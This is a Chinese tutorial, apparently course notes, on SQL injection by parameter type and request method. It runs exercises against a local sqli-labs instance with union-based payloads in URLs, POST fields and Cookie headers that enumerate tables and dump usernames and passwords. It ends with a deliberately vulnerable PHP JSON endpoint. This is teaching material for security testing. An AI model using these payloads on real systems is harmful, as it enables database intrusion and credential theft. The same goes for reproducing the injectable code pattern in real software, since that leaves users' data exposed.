WEB 漏洞-类型及提交注入
前言
在真实 SQL 注入安全测试中,我们一定要先明确提交数据及提交方法后再进行注入,其中提交数据类型和提交方法可以通过抓包分析获取, 后续安全测试中我们也必须满足同等的操作才能进行注入。
简要明确参数类型
数字、字符、搜索、JSON (在实际操作中,我们需要用工具/人工进行多次尝试)
-
数字:前面教程所演示的SQL注入参数类型都是数字型的,我们在注入的时候不需要进行符号闭合的操作
-
字符:带有单引号,我们不能再采取数字型的注入方式,不然咱们进行测试的语句也被带进语句中,无法起到注入的效果,我们应该把符号进行闭合
已知: $name=$_GET['x'] select * from users where name='xiaodi'; 网址上进行注入 ?x=xiaodi and 1=1 对应的SQL语句为 select * from users where name='xiaodi and 1=1'; 我们可以看出,要检查是否有注入点的代码被带入在单引号之中,这样我们就无法进行是否能进行sql语句的判断 我们应该在网站这样写 ?x=xiaodi' and 1=1 --+ 对应的SQL语句为 select * from users where name='xiaodi' and 1=1 --+'; 这样我们就能进行对应的SQL注入的测试,即我们需要先把单引号进行过滤
-
搜索
已知:$name=$_GET['x'] 在网址上进行注入 ?x=xiaodi 对应的SQL语句为 select * from users where name like'%xiaodi%'; 这里我们需要过滤掉单引号和百分号,才能够进行对应的SQL注入
-
JSON
注: 其中 SQL 语句干扰符号:’ , " ,% , ) , } 等,具体需看写法
简要明确请求方法
GET,POST,COOKIE,REQUEST,HTTP 头等
-
如何知道是GET还是POST呢?
- 打开对应目标网站,按F12,点击其中的network进行数据包的查看,找到Request Headers(请求头)
- 通过bp抓包进行确定
-
GET和POST区别在哪?
- 一般大数据会采用POST提交,小数据会采用GET提交
- GET方法会将提交的数据显示在网址中,而POST不会
-
为什么要学习不同的请求呢?
不同的请求方式,它请求的数据类型或者大小都不同。在注入的时候需要按照网站的请求方法进行注入或者进行思维转变绕过一些对应的过滤机制
实例说明
涉及代码
<?php
@$g=$_GET['g'];
echo $g;
@$p=$_POST['post'];
echo $p;
@$c=$_COOKIE['cookie'];
echo $c;
@$r=$_REQUEST['r'];
echo $r;
@$s=$_SERVER['HTTP_USER_AGENT'];
echo $s;
?>
- GET方法传值
-
POST方法传值
-
GET方法无法接收POST的值
-
在POST和GET同时生效的情况下,都会显示
5.在cookie情况下,我们可以看到
6.在REQUEST的情况下,无论是POST和GET提交的数据,都能被接收,就像第4种情况一样。
注意: 对网站进行安全测试的时候,我们大多数是黑盒测试,如果测试后知道对方采用REQUEST接收方式,就不需要考虑用何种方法去提交,但如果对方是单一接收方式,那么在注入的时候必须要用它的方法进行注入
7.$_SERVER是PHP里内置变量,全局变量,PHP写脚本时用它来获取系统的值,在数据包的某一个地方可以进行注入
注: 我们可以对数据包部分进行注入的相关操作即写入注入代码,这是所谓的HTTP头部注入!
演示案例(以下结合代码进行)
参数字符型注入测试=>sqlilabs less 5 6
less5
- 注入点id为get型字符类型,页面不正常说明确实为字符类型,符号为单引号
http://127.0.0.1/sqlilabs/Less-5/index.php?id=1' and 1=1--+
http://127.0.0.1/sqlilabs/Less-5/index.php?id=1' and 1=2--+
- 猜测字段,我们这里可以看出字段为3
http://127.0.0.1/sqlilabs/Less-5/index.php?id=1' order by 4 --+
- 因为进行测试的时候没有对应回显,我们需要用到后面的知识点——盲注,我们先跳过这个
less6
- 注入点id为get型字符类型,页面不正常说明确实为字符类型,符号为双引号
http://127.0.0.1/sqlilabs/Less-6/index.php?id=1" and 1=1--+
http://127.0.0.1/sqlilabs/Less-6/index.php?id=1" and 1=2--+
- 猜测字段,我们这里可以看出字段为3
http://127.0.0.1/sqlilabs/Less-6/index.php?id=1" order by 4 --+
- 因为进行测试的时候没有对应回显,我们需要用到后面的知识点——盲注,我们先跳过这个
POST 数据提交注入测试=>sqlilabs less 11
- 注入点为post型单引号
http://127.0.0.1/sqlilabs/Less-11/post提交uname=admin' and 1=1#&passwd=admin&submit=Submit
http://127.0.0.1/sqlilabs/Less-11/post提交uname=admin' and 1=1#&passwd=admin&submit=Submit
- 猜测字段,我们这里可以看出字段为2
http://127.0.0.1/sqlilabs/Less-11/post提交uname=admin' order by 3#&passwd=admin&submit=Submit
- 猜显示位
http://127.0.0.1/sqlilabs/Less-11/post提交uname=admin' and 1=2 union select 1,2 #&passwd=admin&submit=Submit
- 爆数据库
http://127.0.0.1/sqlilabs/Less-11/post提交uname=admin' and 1=2 union select database(),2 #&passwd=admin&submit=Submit
- 爆表名
http://127.0.0.1/sqlilabs/Less-11/post提交uname=admin' and 1=2 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#&passwd=admin&submit=Submit
- 爆列名
http://127.0.0.1/sqlilabs/Less-11/post提交uname=admin' and 1=2 union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='users'#&passwd=admin&submit=Submit
- 爆数据
http://127.0.0.1/sqlilabs/Less-11/post提交uname=admin' and 1=2 union select username,password from users #&passwd=admin&submit=Submit
参数 JSON 数据注入测试=>本地环境代码演示
- 涉及代码在最后的资源中,这里我们进行post提交
http://127.0.0.1/json.phppost提交:json={"username":"Dumb' and 1=2 union select 1,database(),3#"}
- 我们可以发现,json类型是具有一定格式的,我们只需要知道就是它的格式是怎样的,重点知道双引号" "这个是固定有的一个符号,不需要我们进行过滤,所以我们只需要和上面的方法过滤相关符号即可
格式如下名字={"name":" 'aming' ","sex" :" 'nan' ",}
COOKIE 数据提交注入测试=>sqlilabs less 20
抓包的时候,直接抓进去的页面就可,不要抓点击登录后的!
- post类型提交,但类型不是数字、字符或者其他,这里用Cookie类型注入
Cookie: uname=1' and 1=2# //页面与原页面不同
- 爆字段
Cookie: uname=1' and 1=2 order by 4#
- 爆显示
Cookie: uname=1' and 1=2 union select 1,2,3#
- 爆数据库
Cookie: uname=1' union select 1,database(),3 #
- 爆表
Cookie: uname=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #
- 爆字段
Cookie: uname=1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'#
- 爆数据
Cookie: uname=1' union select 1,username,password from users#
HTTP 头部参数数据注入测试=>sqlilabs less 18
- 由页面提示的消息结合代码,我们可以知道这道题需要我们进行HTTP 头部参数数据注入
- 查看源码后发现,SQL注入语句用到的是insert,这涉及到后面的内容,后续操作等教到再说。我们只要知道我们可以通过这种方式进行注入即可
演示资源
配合 sqlilabs 本地数据库演示
<?php
header('content-type:text/html;charset=utf-8');
if(isset($_POST['json'])){
$json_str=$_POST['json'];
$json=json_decode($json_str);
if(!$json){
die('JSON 文档格式有误,请检查');
}
$username=$json->username;
//$passwd=$json->passwd;
$mysqli=new mysqli();
$mysqli->connect('localhost','root','root');
if($mysqli->connect_errno){
die('数据库连接失败:'.$mysqli->connect_error);}
$mysqli->select_db('security');
if($mysqli->errno){
dir('打开数据库失败:'.$mysqli->error);
}
$mysqli->set_charset('utf-8');
$sql="SELECT * FROM users WHERE username='{$username}'";
echo $sql;
$result=$mysqli->query($sql);
if(!$result){
die('执行 SQL 语句失败:'.$mysqli->error);
}else if($result->num_rows==0){
die('查询结果为空');
}else {
$array1=$result->fetch_all(MYSQLI_ASSOC);
echo "用户名:{$array1[0]['username']},密码:{$array1[0]['password']}";
}
$result->free();
$mysqli->close();
}
?>
最后感谢小迪师傅的视频!!
笔记来源视频:点击这里